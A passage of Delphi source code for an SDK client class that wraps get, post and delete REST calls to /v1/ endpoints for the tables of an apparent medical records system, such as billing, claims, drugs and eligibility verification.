TSDKClient.getaudit_master(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getaudit_master/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postaudit_master(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postaudit_master/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteaudit_master(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteaudit_master/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getautomatic_notification(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getautomatic_notification/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postautomatic_notification(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postautomatic_notification/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteautomatic_notification(Anotification_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteautomatic_notification/?notification_id='+Anotification_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getbackground_services(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getbackground_services/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postbackground_services(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postbackground_services/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletebackground_services(Aname: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletebackground_services/?name='+Aname+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getbatchcom(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getbatchcom/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postbatchcom(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postbatchcom/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletebatchcom(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletebatchcom/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getbilling(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getbilling/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postbilling(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postbilling/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletebilling(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletebilling/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcalendar_external(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcalendar_external/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcalendar_external(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcalendar_external/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecalendar_external(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecalendar_external/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcategories(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcategories/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcategories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcategories/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecategories(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecategories/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcategories_seq(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcategories_seq/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcategories_seq(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcategories_seq/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecategories_seq(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecategories_seq/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcategories_to_documents(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcategories_to_documents/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcategories_to_documents(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcategories_to_documents/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecategories_to_documents(Acategory_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecategories_to_documents/?category_id='+Acategory_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getccda(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getccda/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postccda(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postccda/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteccda(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteccda/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getccda_components(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getccda_components/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postccda_components(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postccda_components/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteccda_components(Accda_components_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteccda_components/?ccda_components_id='+Accda_components_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getccda_field_mapping(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getccda_field_mapping/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postccda_field_mapping(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postccda_field_mapping/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteccda_field_mapping(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteccda_field_mapping/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getccda_sections(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getccda_sections/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postccda_sections(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postccda_sections/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteccda_sections(Accda_sections_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteccda_sections/?ccda_sections_id='+Accda_sections_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getccda_table_mapping(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getccda_table_mapping/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postccda_table_mapping(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postccda_table_mapping/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteccda_table_mapping(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteccda_table_mapping/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getchart_tracker(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getchart_tracker/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postchart_tracker(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postchart_tracker/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletechart_tracker(Act_pid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletechart_tracker/?ct_pid='+Act_pid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getclaims(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getclaims/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postclaims(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postclaims/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteclaims(Apatient_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteclaims/?patient_id='+Apatient_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getclinical_plans(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getclinical_plans/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postclinical_plans(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postclinical_plans/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteclinical_plans(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteclinical_plans/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getclinical_plans_rules(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getclinical_plans_rules/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postclinical_plans_rules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postclinical_plans_rules/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteclinical_plans_rules(Aplan_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteclinical_plans_rules/?plan_id='+Aplan_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getclinical_rules(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getclinical_rules/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postclinical_rules(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postclinical_rules/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteclinical_rules(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteclinical_rules/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getclinical_rules_log(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getclinical_rules_log/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postclinical_rules_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postclinical_rules_log/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteclinical_rules_log(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteclinical_rules_log/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcode_types(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcode_types/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcode_types(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcode_types/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecode_types(Act_key: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecode_types/?ct_key='+Act_key+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcodes(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcodes/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcodes(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcodes/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecodes(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecodes/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getconfig(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getconfig/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postconfig(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postconfig/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteconfig(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteconfig/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getconfig_seq(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getconfig_seq/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postconfig_seq(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postconfig_seq/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteconfig_seq(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteconfig_seq/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getcustomlists(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getcustomlists/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postcustomlists(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postcustomlists/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletecustomlists(Acl_list_slno: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletecustomlists/?cl_list_slno='+Acl_list_slno+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdated_reminders(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdated_reminders/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdated_reminders(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdated_reminders/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedated_reminders(Adr_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedated_reminders/?dr_id='+Adr_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdated_reminders_link(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdated_reminders_link/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdated_reminders_link(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdated_reminders_link/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedated_reminders_link(Adr_link_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedated_reminders_link/?dr_link_id='+Adr_link_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdirect_message_log(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdirect_message_log/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdirect_message_log(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdirect_message_log/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedirect_message_log(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedirect_message_log/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdocuments(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdocuments/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdocuments(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdocuments/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedocuments(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedocuments/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdocuments_legal_categories(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdocuments_legal_categories/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdocuments_legal_categories(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdocuments_legal_categories/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedocuments_legal_categories(Adlc_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedocuments_legal_categories/?dlc_id='+Adlc_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdocuments_legal_detail(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdocuments_legal_detail/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdocuments_legal_detail(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdocuments_legal_detail/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedocuments_legal_detail(Adld_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedocuments_legal_detail/?dld_id='+Adld_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdocuments_legal_master(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdocuments_legal_master/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdocuments_legal_master(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdocuments_legal_master/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedocuments_legal_master(Adlm_document_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedocuments_legal_master/?dlm_document_id='+Adlm_document_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdrug_inventory(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdrug_inventory/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdrug_inventory(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdrug_inventory/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedrug_inventory(Ainventory_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedrug_inventory/?inventory_id='+Ainventory_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdrug_sales(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdrug_sales/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdrug_sales(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdrug_sales/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedrug_sales(Asale_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedrug_sales/?sale_id='+Asale_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdrug_templates(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdrug_templates/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdrug_templates(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdrug_templates/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedrug_templates(Adrug_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedrug_templates/?drug_id='+Adrug_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getdrugs(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getdrugs/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postdrugs(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postdrugs/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deletedrugs(Adrug_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deletedrugs/?drug_id='+Adrug_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geteligibility_response(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geteligibility_response/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posteligibility_response(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posteligibility_response/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteeligibility_response(Aresponse_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteeligibility_response/?response_id='+Aresponse_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.geteligibility_verification(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geteligibility_verification/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posteligibility_verification(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/posteligibility_verification/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteeligibility_verification(Averification_id: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteeligibility_verification/?verification_id='+Averification_id+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getemployer_data(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getemployer_data/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.postemployer_data(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.PostAPI('/v1/postemployer_data/'+IfThen(Aformat<>'','?format='+Aformat,''),ABytesStream); end; function TSDKClient.deleteemployer_data(Aid: String; Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.DeleteAPI('/v1/deleteemployer_data/?id='+Aid+''+IfThen(Aformat<>'','&format='+Aformat,'')); end; function TSDKClient.getenc_category_map(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/getenc_category_map/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.geterx_drug_paid(Aformat: String = ''): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := Self.GetAPI('/v1/geterx_drug_paid/'+IfThen(Aformat<>'','?format='+Aformat,'')); end; function TSDKClient.posterx_drug_paid(Aformat: String = ''; ABytesStream: TBytesStream = nil): TBytesStream; begin if Self.LoginAPI(FUserName,FPassword) then Result := 